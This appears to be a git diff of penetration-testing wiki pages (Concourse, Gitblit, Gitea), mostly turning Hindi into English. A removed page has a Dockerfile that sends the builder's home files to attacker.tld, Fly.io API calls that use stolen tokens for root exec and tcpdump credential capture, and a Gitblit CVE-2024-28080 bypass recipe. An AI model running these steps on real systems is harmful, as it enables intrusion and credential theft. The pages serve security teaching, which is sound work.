@@ -85,33 +91,34 @@ secret: MWYyZDFlMmU2N2Rm
|
||||
- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
|
||||
- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
|
||||
|
||||
प्रत्येक [step](https://concourse-ci.org/steps.html) एक [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) में अपने **अपने कंटेनर** में चलता है। आप कंटेनर के अंदर कुछ भी चलाने के लिए स्वतंत्र हैं _(i.e. run my tests, run this bash script, build this image, etc.)_। इसलिए यदि आपके पास पांच स्टेप्स के साथ एक जॉब है, तो Concourse पांच कंटेनर बनाएगा, प्रत्येक स्टेप के लिए एक।
|
||||
Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step.
|
||||
|
||||
इसलिए, यह संकेत देना संभव है कि प्रत्येक स्टेप को किस प्रकार के कंटेनर में चलाने की आवश्यकता है।
|
||||
Therefore, it's possible to indicate the type of container each step needs to be run in.
|
||||
|
||||
### Simple Pipeline Example
|
||||
|
||||
### सरल पाइपलाइन उदाहरण
|
||||
```yaml
|
||||
jobs:
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
sleep 1000
|
||||
echo "$SUPER_SECRET"
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
sleep 1000
|
||||
echo "$SUPER_SECRET"
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
|
||||
```bash
|
||||
@@ -123,21 +130,25 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
|
||||
# From another console
|
||||
fly -t tutorial intercept --job pipe-name/simple
|
||||
```
|
||||
**127.0.0.1:8080** पर पाइपलाइन प्रवाह देखें।
|
||||
|
||||
### आउटपुट/इनपुट पाइपलाइन के साथ बैश स्क्रिप्ट
|
||||
Check **127.0.0.1:8080** to see the pipeline flow.
|
||||
|
||||
यह संभव है कि **एक कार्य के परिणामों को एक फ़ाइल में सहेजें** और यह संकेत दें कि यह एक आउटपुट है और फिर अगले कार्य के इनपुट को पिछले कार्य के आउटपुट के रूप में संकेत दें। जो concourse करता है वह है **पिछले कार्य के निर्देशिका को नए कार्य में माउंट करना जहां आप पिछले कार्य द्वारा बनाए गए फ़ाइलों तक पहुँच सकते हैं**।
|
||||
### Bash script with output/input pipeline
|
||||
|
||||
### ट्रिगर्स
|
||||
It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**.
|
||||
|
||||
आपको हर बार उन्हें चलाने के लिए मैन्युअल रूप से नौकरियों को ट्रिगर करने की आवश्यकता नहीं है, आप उन्हें हर बार चलाने के लिए प्रोग्राम भी कर सकते हैं:
|
||||
### Triggers
|
||||
|
||||
- कुछ समय बीतता है: [Time resource](https://github.com/concourse/time-resource/)
|
||||
- मुख्य शाखा में नए कमिट पर: [Git resource](https://github.com/concourse/git-resource)
|
||||
- नए PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
|
||||
- अपने ऐप की नवीनतम छवि लाना या पुश करना: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
|
||||
You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time:
|
||||
|
||||
एक YAML पाइपलाइन उदाहरण देखें जो मास्टर में नए कमिट पर ट्रिगर होता है [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
|
||||
- Some time passes: [Time resource](https://github.com/concourse/time-resource/)
|
||||
- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
|
||||
- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
|
||||
- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
|
||||
|
||||
Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,101 +0,0 @@
|
||||
# Hosted Builders में Docker Build Context का दुरुपयोग (Path Traversal, Exfil, and Cloud Pivot)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
|
||||
यदि कोई CI/CD प्लेटफ़ॉर्म या hosted builder योगदानकर्ताओं को Docker build context path और Dockerfile path निर्धारित करने की अनुमति देता है, तो आप अक्सर context को parent directory (उदा., "..") पर सेट कर सकते हैं और host फाइलों को build context का हिस्सा बना सकते हैं। फिर, एक attacker-controlled Dockerfile COPY कर सकता है और builder user के home में पाए गए secrets को exfiltrate कर सकता है (उदाहरण के लिए, ~/.docker/config.json)। चोरी किए गए registry tokens provider के control-plane APIs के खिलाफ भी काम कर सकते हैं, जिससे org-wide RCE सक्षम हो सकती है।
|
||||
|
||||
## हमले की सतह
|
||||
|
||||
कई hosted builder/registry सेवाएँ user-submitted images बनाते समय मोटे तौर पर यह करती हैं:
|
||||
- Read a repo-level config that includes:
|
||||
- build context path (sent to the Docker daemon)
|
||||
- Dockerfile path relative to that context
|
||||
- Copy the indicated build context directory and the Dockerfile to the Docker daemon
|
||||
- Build the image and run it as a hosted service
|
||||
|
||||
यदि प्लेटफ़ॉर्म build context को canonicalize और प्रतिबंधित नहीं करता है, तो एक user इसे repository के बाहर किसी लोकेशन पर सेट कर सकता है (path traversal), जिससे build user द्वारा पढ़ी जा सकने वाली arbitrary host फाइलें build context का हिस्सा बन जाती हैं और Dockerfile में COPY के लिए उपलब्ध हो जाती हैं।
|
||||
|
||||
प्रायोगिक सीमाएं जो आमतौर पर देखी जाती हैं:
|
||||
- The Dockerfile must reside within the chosen context path and its path must be known ahead of time.
|
||||
- The build user must have read access to files included in the context; special device files can break the copy.
|
||||
|
||||
## PoC: Path traversal via Docker build context
|
||||
|
||||
Example malicious server config declaring a Dockerfile within the parent directory context:
|
||||
```yaml
|
||||
runtime: "container"
|
||||
build:
|
||||
dockerfile: "test/Dockerfile" # Must reside inside the final context
|
||||
dockerBuildPath: ".." # Path traversal to builder user $HOME
|
||||
startCommand:
|
||||
type: "http"
|
||||
configSchema:
|
||||
type: "object"
|
||||
properties:
|
||||
apiKey:
|
||||
type: "string"
|
||||
required: ["apiKey"]
|
||||
exampleConfig:
|
||||
apiKey: "sk-example123"
|
||||
```
|
||||
नोट्स:
|
||||
- ".." का उपयोग अक्सर builder उपयोगकर्ता के होम (उदा., /home/builder) की ओर जाता है, जिसमें आमतौर पर संवेदनशील फाइलें होती हैं।
|
||||
- अपने Dockerfile को repo के directory नाम के अंदर रखें (उदा., repo "test" → test/Dockerfile) ताकि यह विस्तारित parent context के भीतर बना रहे।
|
||||
|
||||
## PoC: Dockerfile to ingest and exfiltrate the host context
|
||||
```dockerfile
|
||||
FROM alpine
|
||||
RUN apk add --no-cache curl
|
||||
RUN mkdir /data
|
||||
COPY . /data # Copies entire build context (now builder’s $HOME)
|
||||
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
|
||||
```
|
||||
आमतौर पर $HOME से पुनर्प्राप्त किए जाने वाले लक्ष्य:
|
||||
- ~/.docker/config.json (registry auths/tokens)
|
||||
- अन्य cloud/CLI कैश और कॉन्फ़िग (जैसे, ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
|
||||
|
||||
टिप: रिपॉज़िटरी में .dockerignore मौजूद होने के बावजूद, कमजोर platform-side context selection यह नियंत्रित करता है कि क्या daemon को भेजा जाएगा। यदि प्लेटफ़ॉर्म चुने गए path को आपके repo’s .dockerignore का मूल्यांकन करने से पहले daemon पर कॉपी कर देता है, तो होस्ट फाइलें अभी भी उजागर हो सकती हैं।
|
||||
|
||||
## अधिक-विशेषाधिकार वाले टोकन के साथ क्लाउड पिवट (उदाहरण: Fly.io Machines API)
|
||||
|
||||
कुछ प्लेटफ़ॉर्म एक ही bearer token जारी करते हैं जो container registry और control-plane API दोनों के लिए उपयोगी होता है। यदि आप किसी registry token को exfiltrate कर लेते हैं, तो उसे provider API पर आज़माएँ।
|
||||
|
||||
उदाहरण API कॉल्स Fly.io Machines API के खिलाफ, ~/.docker/config.json से चोरी किए गए token का उपयोग करके:
|
||||
|
||||
Enumerate apps in an org:
|
||||
```bash
|
||||
curl -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps?org_slug=smithery"
|
||||
```
|
||||
किसी भी app की किसी भी मशीन के अंदर root के रूप में कमांड चलाएँ:
|
||||
```bash
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
|
||||
```
|
||||
परिणाम: उस token के पास पर्याप्त privileges होने पर सभी hosted apps में org-wide remote code execution।
|
||||
|
||||
## समझौता किए गए hosted services से Secrets की चोरी
|
||||
|
||||
hosted servers पर exec/RCE होने पर, आप client-supplied secrets (API keys, tokens) प्राप्त कर सकते हैं या prompt-injection attacks अंजाम दे सकते हैं। उदाहरण: tcpdump इंस्टॉल करके port 8080 पर HTTP ट्रैफ़िक capture करें ताकि inbound credentials निकाले जा सकें।
|
||||
```bash
|
||||
# Install tcpdump inside the machine
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
|
||||
|
||||
# Capture traffic
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
|
||||
```
|
||||
Captured requests में अक्सर client credentials headers, bodies, या query params में पाए जाते हैं।
|
||||
|
||||
## References
|
||||
|
||||
- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
|
||||
- [Fly.io Machines API](https://fly.io/docs/machines/api/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@@ -1,12 +1,12 @@
|
||||
# Gitblit सुरक्षा
|
||||
# Gitblit Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Gitblit क्या है
|
||||
## What is Gitblit
|
||||
|
||||
Gitblit एक self‑hosted Git server है जो Java में लिखा गया है। यह standalone JAR के रूप में या servlet containers में चल सकता है और Git over SSH के लिए एक embedded SSH service (Apache MINA SSHD) प्रदान करता है।
|
||||
Gitblit is a self‑hosted Git server written in Java. It can run as a standalone JAR or in servlet containers and ships an embedded SSH service (Apache MINA SSHD) for Git over SSH.
|
||||
|
||||
## विषय
|
||||
## Topics
|
||||
|
||||
- Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)
|
||||
|
||||
@@ -14,8 +14,8 @@ Gitblit एक self‑hosted Git server है जो Java में लिख
|
||||
gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md
|
||||
{{#endref}}
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
- [Gitblit project](https://gitblit.com/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -2,54 +2,58 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## सारांश
|
||||
## Summary
|
||||
|
||||
CVE-2024-28080 Gitblit के embedded SSH service में एक authentication bypass है जो Apache MINA SSHD के साथ एकीकरण करते समय session state के गलत हैंडलिंग के कारण होता है। यदि किसी उपयोगकर्ता खाते में कम से कम एक SSH public key पंजीकृत है, तो कोई attacker जो username और उस उपयोगकर्ता की किसी भी public key को जानता है, private key और password के बिना authenticate कर सकता है।
|
||||
CVE-2024-28080 is an authentication bypass in Gitblit’s embedded SSH service due to incorrect session state handling when integrating with Apache MINA SSHD. If a user account has at least one SSH public key registered, an attacker who knows the username and any of that user’s public keys can authenticate without the private key and without the password.
|
||||
|
||||
- प्रभावित: Gitblit < 1.10.0 (observed on 1.9.3)
|
||||
- ठीक किया गया: 1.10.0
|
||||
- शोषण करने की आवश्यकताएँ:
|
||||
- इंस्टेंस पर Git over SSH सक्षम होना चाहिए
|
||||
- लक्षित खाते में Gitblit में कम से कम एक SSH public key पंजीकृत हो
|
||||
- Attacker को लक्षित उपयोगकर्ता का username और उनकी किसी एक public key का पता होना चाहिए (आम तौर पर खोजने योग्य, उदाहरण: https://github.com/<username>.keys)
|
||||
- Affected: Gitblit < 1.10.0 (observed on 1.9.3)
|
||||
- Fixed: 1.10.0
|
||||
- Requirements to exploit:
|
||||
- Git over SSH enabled on the instance
|
||||
- Victim account has at least one SSH public key registered in Gitblit
|
||||
- Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/<username>.keys)
|
||||
|
||||
## Root cause (state leaks between SSH methods)
|
||||
|
||||
RFC 4252 के अनुसार, public‑key authentication दो चरणों में होता है: सर्वर पहले यह जांचता है कि दिया गया public key किसी username के लिए स्वीकार्य है या नहीं, और केवल signature के साथ challenge/response के बाद ही वह उपयोगकर्ता को authenticate करता है। MINA SSHD में, PublickeyAuthenticator दो बार कॉल किया जाता है: key acceptance पर (अभी signature नहीं) और बाद में जब client signature वापस करता है।
|
||||
In RFC 4252, public‑key authentication proceeds in two phases: the server first checks whether a provided public key is acceptable for a username, and only after a challenge/response with a signature does it authenticate the user. In MINA SSHD, the PublickeyAuthenticator is invoked twice: on key acceptance (no signature yet) and later after the client returns a signature.
|
||||
|
||||
Gitblit का PublickeyAuthenticator पहले, pre‑signature कॉल पर session context को बदल देता था — authenticated UserModel को session से bind कर देता था और true लौटाता था ("key acceptable")। जब बाद में authentication password पर fallback हुआ, तो PasswordAuthenticator ने उस mutated session state पर भरोसा किया और short‑circuit करते हुए password को validate किए बिना true लौटाया। परिणामस्वरूप, किसी भी password (खाली भी) को उसी user के लिए पहले public‑key "acceptance" के बाद स्वीकार कर लिया गया।
|
||||
Gitblit’s PublickeyAuthenticator mutated the session context on the first, pre‑signature call by binding the authenticated UserModel to the session and returning true ("key acceptable"). When authentication later fell back to password, the PasswordAuthenticator trusted that mutated session state and short‑circuited, returning true without validating the password. As a result, any password (including empty) was accepted after a prior public‑key "acceptance" for the same user.
|
||||
|
||||
उच्च‑स्तरीय त्रुटिपूर्ण प्रवाह:
|
||||
High‑level flawed flow:
|
||||
|
||||
1) Client username + public key पेश करता है (अभी signature नहीं)
|
||||
2) Server उस key को user का मानता है और समयपूर्वक user को session से जोड़ देता है, true लौटाता है ("acceptable")
|
||||
3) Client sign नहीं कर पाता (private key नहीं), इसलिए auth password पर fallback हो जाता है
|
||||
4) Password auth session में पहले से मौजूद user देखता है और बिना शर्त success लौटाता है
|
||||
1) Client offers username + public key (no signature yet)
|
||||
2) Server recognizes the key as belonging to the user and prematurely attaches user to the session, returns true ("acceptable")
|
||||
3) Client cannot sign (no private key), so auth falls back to password
|
||||
4) Password auth sees a user already present in session and unconditionally returns success
|
||||
|
||||
## चरण‑दर‑चरण शोषण
|
||||
## Step‑by‑step exploitation
|
||||
|
||||
- लक्षित का username और उनकी किसी एक public key एकत्र करें:
|
||||
- GitHub सार्वजनिक keys https://github.com/<username>.keys पर एक्सपोज़ करता है
|
||||
- सार्वजनिक सर्वर अक्सर authorized_keys एक्सपोज़ करते हैं
|
||||
- OpenSSH को इस तरह कॉन्फ़िगर करें कि वह केवल public half प्रस्तुत करे ताकि signature generation विफल हो, जिससे server पर public‑key acceptance पथ ट्रिगर करते हुए auth password पर fallback मजबूर हो।
|
||||
- Collect a victim’s username and one of their public keys:
|
||||
- GitHub exposes public keys at https://github.com/<username>.keys
|
||||
- Public servers often expose authorized_keys
|
||||
- Configure OpenSSH to present only the public half so signature generation fails, forcing a fallback to password while still triggering the public‑key acceptance path on the server.
|
||||
|
||||
Example SSH client config (no private key available):
|
||||
|
||||
```sshconfig
|
||||
# ~/.ssh/config
|
||||
Host gitblit-target
|
||||
HostName <host-or-ip>
|
||||
User <victim-username>
|
||||
PubkeyAuthentication yes
|
||||
PreferredAuthentications publickey,password
|
||||
IdentitiesOnly yes
|
||||
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
|
||||
HostName <host-or-ip>
|
||||
User <victim-username>
|
||||
PubkeyAuthentication yes
|
||||
PreferredAuthentications publickey,password
|
||||
IdentitiesOnly yes
|
||||
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
|
||||
```
|
||||
कनेक्ट करें और पासवर्ड प्रॉम्प्ट पर Enter दबाएँ (या कोई भी स्ट्रिंग टाइप करें):
|
||||
|
||||
Connect and press Enter at the password prompt (or type any string):
|
||||
|
||||
```bash
|
||||
ssh gitblit-target
|
||||
# or Git over SSH
|
||||
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
|
||||
```
|
||||
|
||||
Authentication succeeds because the earlier public‑key phase mutated the session to an authenticated user, and password auth incorrectly trusts that state.
|
||||
|
||||
Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact.
|
||||
@@ -70,14 +74,14 @@ Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Gi
|
||||
|
||||
- Upgrade to Gitblit v1.10.0+
|
||||
- Until upgraded:
|
||||
- Disable Git over SSH on Gitblit, or
|
||||
- Restrict network access to the SSH service, and
|
||||
- Monitor for suspicious patterns described above
|
||||
- Disable Git over SSH on Gitblit, or
|
||||
- Restrict network access to the SSH service, and
|
||||
- Monitor for suspicious patterns described above
|
||||
- Rotate affected user credentials if compromise is suspected
|
||||
|
||||
## General: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)
|
||||
|
||||
Pattern: यदि किसी server का public‑key authenticator pre‑signature "key acceptable" चरण के दौरान user/session state को mutate करता है और अन्य authenticators (जैसे password) उस state पर भरोसा करते हैं, तो आप authentication को निम्न तरीके से bypass कर सकते हैं:
|
||||
Pattern: If a server’s public‑key authenticator mutates user/session state during the pre‑signature "key acceptable" phase and other authenticators (e.g., password) trust that state, you can bypass authentication by:
|
||||
|
||||
- Presenting a legitimate public key for the target user (no private key)
|
||||
- Forcing the client to fail signing so the server falls back to password
|
||||
@@ -85,11 +89,11 @@ Pattern: यदि किसी server का public‑key authenticator pre‑s
|
||||
|
||||
Practical tips:
|
||||
|
||||
- Public key harvesting at scale: सामान्य स्रोतों से public keys खींचें, जैसे https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
|
||||
- Forcing signature failure (client‑side): IdentityFile को केवल .pub पर पॉइंट करें, IdentitiesOnly yes सेट करें, और PreferredAuthentications को publickey फिर password शामिल करने दें
|
||||
- Public key harvesting at scale: pull public keys from common sources such as https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
|
||||
- Forcing signature failure (client‑side): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password
|
||||
- MINA SSHD integration pitfalls:
|
||||
- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the post‑signature verification path confirms the signature
|
||||
- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
|
||||
- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the post‑signature verification path confirms the signature
|
||||
- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
|
||||
|
||||
Related protocol/design notes and literature:
|
||||
- SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process)
|
||||
|
||||
@@ -1,130 +1,141 @@
|
||||
# Gitea सुरक्षा
|
||||
# Gitea Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Gitea क्या है
|
||||
## What is Gitea
|
||||
|
||||
**Gitea** एक **स्व-होस्टेड समुदाय द्वारा प्रबंधित हल्का कोड होस्टिंग** समाधान है जो Go में लिखा गया है।
|
||||
**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
|
||||
|
||||
.png>)
|
||||
|
||||
### बुनियादी जानकारी
|
||||
### Basic Information
|
||||
|
||||
{{#ref}}
|
||||
basic-gitea-information.md
|
||||
{{#endref}}
|
||||
|
||||
## प्रयोगशाला
|
||||
## Lab
|
||||
|
||||
To run a Gitea instance locally you can just run a docker container:
|
||||
|
||||
स्थानीय रूप से Gitea उदाहरण चलाने के लिए आप बस एक डॉकर कंटेनर चला सकते हैं:
|
||||
```bash
|
||||
docker run -p 3000:3000 gitea/gitea
|
||||
```
|
||||
पोर्ट 3000 से कनेक्ट करें ताकि वेब पेज तक पहुंच सकें।
|
||||
|
||||
आप इसे कुबेरनेट्स के साथ भी चला सकते हैं:
|
||||
Connect to port 3000 to access the web page.
|
||||
|
||||
You could also run it with kubernetes:
|
||||
|
||||
```
|
||||
helm repo add gitea-charts https://dl.gitea.io/charts/
|
||||
helm install gitea gitea-charts/gitea
|
||||
```
|
||||
## अनधिकृत गणना
|
||||
|
||||
- सार्वजनिक रिपॉजिटरी: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
|
||||
- पंजीकृत उपयोगकर्ता: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
|
||||
- पंजीकृत संगठन: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
|
||||
## Unauthenticated Enumeration
|
||||
|
||||
ध्यान दें कि **डिफ़ॉल्ट रूप से Gitea नए उपयोगकर्ताओं को पंजीकरण करने की अनुमति देता है**। यह नए उपयोगकर्ताओं को अन्य संगठनों/उपयोगकर्ताओं के रिपॉजिटरी पर विशेष रूप से दिलचस्प पहुंच नहीं देगा, लेकिन एक **लॉग इन उपयोगकर्ता** अधिक **रिपॉजिटरी या संगठनों** को **देखने** में सक्षम हो सकता है।
|
||||
- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
|
||||
- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
|
||||
- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
|
||||
|
||||
## आंतरिक शोषण
|
||||
Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**.
|
||||
|
||||
इस परिदृश्य के लिए हम मान लेंगे कि आपने एक github खाते तक कुछ पहुंच प्राप्त की है।
|
||||
## Internal Exploitation
|
||||
|
||||
### उपयोगकर्ता क्रेडेंशियल्स/वेब कुकी के साथ
|
||||
For this scenario we are going to suppose that you have obtained some access to a github account.
|
||||
|
||||
यदि आपके पास किसी संगठन के भीतर एक उपयोगकर्ता के लिए क्रेडेंशियल्स हैं (या आपने एक सत्र कुकी चुराई है) तो आप **बस लॉगिन कर सकते हैं** और देख सकते हैं कि आपके पास **कौन सी अनुमतियाँ** हैं, **कौन से रिपॉजिटरी** में, **कौन से टीमों** में आप हैं, **अन्य उपयोगकर्ताओं की सूची**, और **रिपॉजिटरी कैसे सुरक्षित हैं।**
|
||||
### With User Credentials/Web Cookie
|
||||
|
||||
ध्यान दें कि **2FA का उपयोग किया जा सकता है** इसलिए आप केवल तभी इस जानकारी तक पहुंच सकते हैं यदि आप उस **चेक को भी पास कर सकते हैं**।
|
||||
If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.**
|
||||
|
||||
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
|
||||
|
||||
> [!NOTE]
|
||||
> ध्यान दें कि यदि आप **`i_like_gitea` कुकी चुराने में सफल होते हैं** (जो वर्तमान में SameSite: Lax के साथ कॉन्फ़िगर की गई है) तो आप **बिना क्रेडेंशियल्स या 2FA की आवश्यकता के उपयोगकर्ता का पूरी तरह से अनुकरण कर सकते हैं**।
|
||||
> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
|
||||
|
||||
### उपयोगकर्ता SSH कुंजी के साथ
|
||||
### With User SSH Key
|
||||
|
||||
Gitea **उपयोगकर्ताओं** को **SSH कुंजी** सेट करने की अनुमति देता है जो उनके पक्ष में कोड तैनात करने के लिए **प्रमाणीकरण विधि** के रूप में उपयोग की जाएगी (कोई 2FA लागू नहीं होता)।
|
||||
Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
|
||||
|
||||
With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to:
|
||||
|
||||
इस कुंजी के साथ आप **उन रिपॉजिटरी में परिवर्तन कर सकते हैं जहां उपयोगकर्ता के पास कुछ विशेषाधिकार हैं**, हालाँकि आप इसका उपयोग gitea api तक पहुँचने के लिए नहीं कर सकते हैं ताकि वातावरण की गणना की जा सके। हालाँकि, आप **स्थानीय सेटिंग्स की गणना कर सकते हैं** ताकि उन रिपॉजिटरी और उपयोगकर्ता के बारे में जानकारी प्राप्त की जा सके जिन तक आपकी पहुँच है:
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
यदि उपयोगकर्ता ने अपना उपयोगकर्ता नाम अपने gitea उपयोगकर्ता नाम के रूप में कॉन्फ़िगर किया है, तो आप उसके खाते में **जनता कुंजी जो उसने सेट की है** को _https://github.com/\<gitea_username>.keys_ पर एक्सेस कर सकते हैं, आप यह पुष्टि करने के लिए इसे चेक कर सकते हैं कि जो निजी कुंजी आपने पाई है वह उपयोग की जा सकती है।
|
||||
|
||||
**SSH कुंजी** को **डिप्लॉय कुंजी** के रूप में रिपॉजिटरी में भी सेट किया जा सकता है। इस कुंजी तक पहुंच रखने वाला कोई भी व्यक्ति **एक रिपॉजिटरी से प्रोजेक्ट लॉन्च** कर सकेगा। आमतौर पर, विभिन्न डिप्लॉय कुंजियों के साथ एक सर्वर में स्थानीय फ़ाइल **`~/.ssh/config`** आपको संबंधित कुंजी के बारे में जानकारी देगी।
|
||||
If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\<gitea_username>.keys_, you could check this to confirm the private key you found can be used.
|
||||
|
||||
#### GPG कुंजी
|
||||
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
|
||||
|
||||
जैसा कि [**यहां**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) समझाया गया है, कभी-कभी कमिट्स पर हस्ताक्षर करना आवश्यक होता है या आप खोजे जा सकते हैं।
|
||||
#### GPG Keys
|
||||
|
||||
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
|
||||
|
||||
Check locally if the current user has any key with:
|
||||
|
||||
स्थानीय रूप से चेक करें कि क्या वर्तमान उपयोगकर्ता के पास कोई कुंजी है:
|
||||
```shell
|
||||
gpg --list-secret-keys --keyid-format=long
|
||||
```
|
||||
|
||||
### With User Token
|
||||
|
||||
[**यूजर टोकन के बारे में मूल जानकारी के लिए यहाँ देखें**](basic-gitea-information.md#personal-access-tokens)।
|
||||
For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens).
|
||||
|
||||
एक यूजर टोकन को **पासवर्ड के बजाय** Gitea सर्वर के खिलाफ **प्रमाणित** करने के लिए उपयोग किया जा सकता है [**API के माध्यम से**](https://try.gitea.io/api/swagger#/)। इसके पास यूजर पर **पूर्ण पहुंच** होगी।
|
||||
A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user.
|
||||
|
||||
### With Oauth Application
|
||||
|
||||
[**Gitea Oauth एप्लिकेशन के बारे में मूल जानकारी के लिए यहाँ देखें**](./#with-oauth-application)।
|
||||
For an introduction about [**Gitea Oauth Applications check the basic information**](#with-oauth-application).
|
||||
|
||||
एक हमलावर एक **दुष्ट Oauth एप्लिकेशन** बना सकता है ताकि उन यूजर्स के विशेष डेटा/क्रियाओं तक पहुंच प्राप्त कर सके जो संभवतः उन्हें एक फ़िशिंग अभियान के हिस्से के रूप में स्वीकार करते हैं।
|
||||
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
|
||||
जैसा कि मूल जानकारी में बताया गया है, एप्लिकेशन के पास **यूजर खाते पर पूर्ण पहुंच** होगी।
|
||||
